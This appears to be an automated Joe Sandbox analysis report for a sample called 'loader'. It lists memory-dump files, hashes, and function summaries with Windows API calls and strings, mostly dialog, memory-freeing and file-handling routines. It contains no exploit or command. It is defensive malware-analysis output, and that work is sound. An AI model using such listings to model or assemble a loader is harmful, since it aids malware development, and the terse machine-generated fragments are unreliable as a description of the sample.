Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3950f36532a62692ed512f336a9ae1aa589cd57bf653e38fa9e6be0a6e778e26
Instruction ID: 07b648d98a2207eb03c65a428fc6d60881e16885eb6059660171a84793dd2f56
Opcode Fuzzy Hash: 3950f36532a62692ed512f336a9ae1aa589cd57bf653e38fa9e6be0a6e778e26
Instruction Fuzzy Hash: 295190B19006198FEB24CF98E9817EABBF6FB48314F24993AD401EB350D375D905CB90

Function 006400B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27b04208c503ae81dc6656f218db141cc39ea20f607b1605b2f698e5ae3e54a
Instruction ID: 8a1f9b47af610fec543594c217b563069e6816c035d2be11bc3eb981b4bf6337
Opcode Fuzzy Hash: c27b04208c503ae81dc6656f218db141cc39ea20f607b1605b2f698e5ae3e54a
Instruction Fuzzy Hash: CB51DFB1A087119FC748CF19D88055AF7E1FF88314F058A2EE899E3340D734EA59CB9A

Function 00643E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 8db51d4d33ff8169978aa15ccbf6a6024a07d8682549f7ffb57504781d3fc5e7
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: B6314AB1A047568FCB54DF28C8512AEBBE1FB95304F10492DE4C5C7742C734EA0ACB92

Function 0064C220 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 286windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0064C2B1
EndDialog.USER32(?,00000006), ref: 0064C2C4
GetDlgItem.USER32(?,0000006C), ref: 0064C2E0
SetFocus.USER32(00000000), ref: 0064C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0064C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0064C358
_swprintf.LIBCMT ref: 0064C404

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0064C417
_swprintf.LIBCMT ref: 0064C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0064C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0064C4A7
_swprintf.LIBCMT ref: 0064C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0064C548
_swprintf.LIBCMT ref: 0064C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0064C5AF

Strings

Pd, xrefs: 0064C342
%s %s, xrefs: 0064C469, 0064C58E
%s %s %s, xrefs: 0064C3F2, 0064C527
REPLACEFILEDLG, xrefs: 0064C247

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Item$Text$_swprintf$MessageSend$DialogFocusWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$Pd$REPLACEFILEDLG
API String ID: 902387417-3312844388
Opcode ID: ce115b4c90bd33aa12df9269a145852656f0fb165597cbd83069bdc9382e4ae5
Instruction ID: 6585643879c43a1bfa95a6951fc728a591059072d0dea342f1ccaefcd7b82055
Opcode Fuzzy Hash: ce115b4c90bd33aa12df9269a145852656f0fb165597cbd83069bdc9382e4ae5
Instruction Fuzzy Hash: F591A572248354BBD361DBA0CC49FFB77AEEB8A714F004819F649D6291D7B1EB048762

Function 0063E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0063E30E

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

_strlen.LIBCMT ref: 0063E32F
SetDlgItemTextW.USER32(?,0066E274,?), ref: 0063E38F
GetWindowRect.USER32(?,?), ref: 0063E3C9
GetClientRect.USER32(?,?), ref: 0063E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0063E475
GetWindowRect.USER32(?,?), ref: 0063E4A2
SetWindowTextW.USER32(?,?), ref: 0063E4DB
GetSystemMetrics.USER32(00000008), ref: 0063E4E3
GetWindow.USER32(?,00000005), ref: 0063E4EE
GetWindowRect.USER32(00000000,?), ref: 0063E51B
GetWindow.USER32(00000000,00000002), ref: 0063E58D

Strings

CAPTION, xrefs: 0063E4BD
d, xrefs: 0063E3F5
$%s:, xrefs: 0063E302

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Window$Rect$Text$ClientItemLongMetricsSystem__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 1562912926-2512411981
Opcode ID: 3eed607ab324fd27668408b8e752674d086ecb72864452cb66eaabd245274f99
Instruction ID: 1b8ac89b3d60a926e714cb069f1a57bfe42f5479099213581bffd34f617d4c48
Opcode Fuzzy Hash: 3eed607ab324fd27668408b8e752674d086ecb72864452cb66eaabd245274f99
Instruction Fuzzy Hash: 0781A271208311AFD710DFA8CC89A6FBBEAEFC8714F04191DFA84D7291D671E9058B62

Function 0065CB22 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0065CB66

Part of subcall function 0065C701: _free.LIBCMT ref: 0065C71E
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C730
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C742
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C754
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C766
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C778
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C78A
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C79C
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C7AE
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C7C0
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C7D2
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C7E4
Part of subcall function 0065C701: _free.LIBCMT ref: 0065C7F6

_free.LIBCMT ref: 0065CB5B

Part of subcall function 00658DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0065C896,00663A34,00000000,00663A34,00000000,?,0065C8BD,00663A34,00000007,00663A34,?,0065CCBA,00663A34), ref: 00658DE2

_free.LIBCMT ref: 0065CB7D
_free.LIBCMT ref: 0065CB92
_free.LIBCMT ref: 0065CB9D
_free.LIBCMT ref: 0065CBBF
_free.LIBCMT ref: 0065CBD2
_free.LIBCMT ref: 0065CBE0
_free.LIBCMT ref: 0065CBEB
_free.LIBCMT ref: 0065CC23
_free.LIBCMT ref: 0065CC2A
_free.LIBCMT ref: 0065CC47
_free.LIBCMT ref: 0065CC5F

Strings

Memory failed, xrefs: 0065CC28

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$FreeHeap___free_lconv_mon
String ID: Memory failed
API String ID: 358854727-1932948013
Opcode ID: 49065fc636217472ce2998f3c751b1753727eaf9934a47ff19a5d3173ccf77dd
Instruction ID: bc69c09b1dfdbcbf1a245411d860f425b89e23b6bbd1c59c1c0ad5a64050562c
Opcode Fuzzy Hash: 49065fc636217472ce2998f3c751b1753727eaf9934a47ff19a5d3173ccf77dd
Instruction Fuzzy Hash: CE3162316003099FEB60AA38D846B9A77FBEF50322F10551DE958E7692DF35EC48CB14

Function 0065C8A4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0065C868: _free.LIBCMT ref: 0065C891

_free.LIBCMT ref: 0065C8F2

Part of subcall function 00658DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0065C896,00663A34,00000000,00663A34,00000000,?,0065C8BD,00663A34,00000007,00663A34,?,0065CCBA,00663A34), ref: 00658DE2

_free.LIBCMT ref: 0065C8FD
_free.LIBCMT ref: 0065C908
_free.LIBCMT ref: 0065C95C
_free.LIBCMT ref: 0065C967
_free.LIBCMT ref: 0065C972
_free.LIBCMT ref: 0065C97D

Strings

SIZE, xrefs: 0065C8CD
tectMemory failed, xrefs: 0065C923
tectMemory failed, xrefs: 0065C8E6
Memory, xrefs: 0065C8D8
$%s:, xrefs: 0065C8C2

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$FreeHeap
String ID: $%s:$Memory$SIZE$tectMemory failed$tectMemory failed
API String ID: 2929853658-882510896
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 5fb04634e692543e64b0ce70db9487fe03aafeafd93627a12ab410008695288d
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: A0117F71590B08AEE6A0B7B1CC07FCB7BEE9F10B12F400D1CBA9D66093DA64B54D8754

Function 0064D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0064D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 0064D6ED
GetWindowLongW.USER32(00000000,000000F0), ref: 0064D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0064D720
GetObjectW.GDI32(00000000,00000018,?), ref: 0064D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0064D75D
DeleteObject.GDI32(00000000), ref: 0064D764
GetWindow.USER32(00000000,00000002), ref: 0064D76D

Strings

STATIC, xrefs: 0064D6F3

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: d4bd5767ed16dacb3576fc501d1c29b3ab7a3beaae0dc89e761565d177402ab7
Instruction ID: ba5ef39c6a02c1c28bd544b0b115b0ecdfe464ccd6ffc047297f8c58bc2c068b
Opcode Fuzzy Hash: d4bd5767ed16dacb3576fc501d1c29b3ab7a3beaae0dc89e761565d177402ab7
Instruction Fuzzy Hash: EA1156329403207BE3206FB09C8AFEF765FAF44711F005126FA01E22A1DB64CF0542B9

Function 006596F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00659705

Part of subcall function 00658DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0065C896,00663A34,00000000,00663A34,00000000,?,0065C8BD,00663A34,00000007,00663A34,?,0065CCBA,00663A34), ref: 00658DE2

_free.LIBCMT ref: 00659711
_free.LIBCMT ref: 0065971C
_free.LIBCMT ref: 00659727
_free.LIBCMT ref: 00659732
_free.LIBCMT ref: 0065973D
_free.LIBCMT ref: 00659748
_free.LIBCMT ref: 00659753
_free.LIBCMT ref: 0065975E
_free.LIBCMT ref: 0065976C

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: f65724a2f51340317286317f281be2c7105f4cad817d6c748c509e71723c7e67
Instruction ID: 133433b0f8baa970511356ca911361c6afc4bcb3ce5012729dd9edc87ef33eba
Opcode Fuzzy Hash: f65724a2f51340317286317f281be2c7105f4cad817d6c748c509e71723c7e67
Instruction Fuzzy Hash: 1E11C37610000DAFCB41EF54C842CD93BB6EF14351F0152A9FE089F662DE32DA589B98

Function 00636FA5 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 329COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00636FAA
_wcslen.LIBCMT ref: 00637013
_wcslen.LIBCMT ref: 00637084

Part of subcall function 0063A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0063977F,?,?,006395CF,00000000,00662641,000000FF), ref: 0063A1F1

Part of subcall function 00639DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00639E70

Part of subcall function 00639620: CloseHandle.KERNELBASE(000000FF,?,?,006395D6,00000000,00662641,000000FF), ref: 0063963B

Part of subcall function 0063A4ED: SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,0063A325,00000001,006370E6,?,0063A175,?,00000001,00000000,?,?), ref: 0063A501

Strings

UNC\, xrefs: 00637051
SeCreateSymbolicLinkPrivilege, xrefs: 00636FCC
SE1, xrefs: 006370E6
SeRestorePrivilege, xrefs: 00636FC2
\??\, xrefs: 0063702B

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: File$_wcslen$AttributesCloseDeleteH_prologHandleTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$SE1$UNC\$\??\
API String ID: 449284102-102587364
Opcode ID: a770a1208bdfab836e4629326d82e0b912b849c6866967840b2c9333908d6b82
Instruction ID: a08c8a5cc6d6f0926eb91fd304a3917e42d08dd4f91edf60c615bb83ee0c03d3
Opcode Fuzzy Hash: a770a1208bdfab836e4629326d82e0b912b849c6866967840b2c9333908d6b82
Instruction Fuzzy Hash: F4C10BB1D04614AAEB35DB74DC41FEEB7AEAF04300F00455EF956E7282D770AA48CBA5

Function 00652E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00652F50
___TypeMatch.LIBVCRUNTIME ref: 0065305E
_UnwindNestedFrames.LIBCMT ref: 006531B0
CallUnexpected.LIBVCRUNTIME ref: 006531CB
_abort.LIBCMT ref: 006531D0

Strings

csm, xrefs: 00652F87
csm, xrefs: 00652EDB
csm, xrefs: 00652E6E

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 361ac871c2516ec28e52cc1e53b5c9d9a0b13bf8a5bef0e9ff7a74222e5e80a2
Instruction ID: 7e40cafdecf846c2b55159e00fdf82674a675d9f881cf772b3f9a573d5cc6d6d
Opcode Fuzzy Hash: 361ac871c2516ec28e52cc1e53b5c9d9a0b13bf8a5bef0e9ff7a74222e5e80a2
Instruction Fuzzy Hash: 3FB19A3180022AEFCF29DFA4C8919AEB7B6BF05752F14455AEC016B312D731DA1ACB95

Function 0064B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

EndDialog.USER32(?,00000001), ref: 0064B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 0064B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0064B650
SetWindowTextW.USER32(?,?), ref: 0064B661
GetDlgItem.USER32(?,00000065), ref: 0064B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0064B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0064B694

Strings

LICENSEDLG, xrefs: 0064B5D4

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
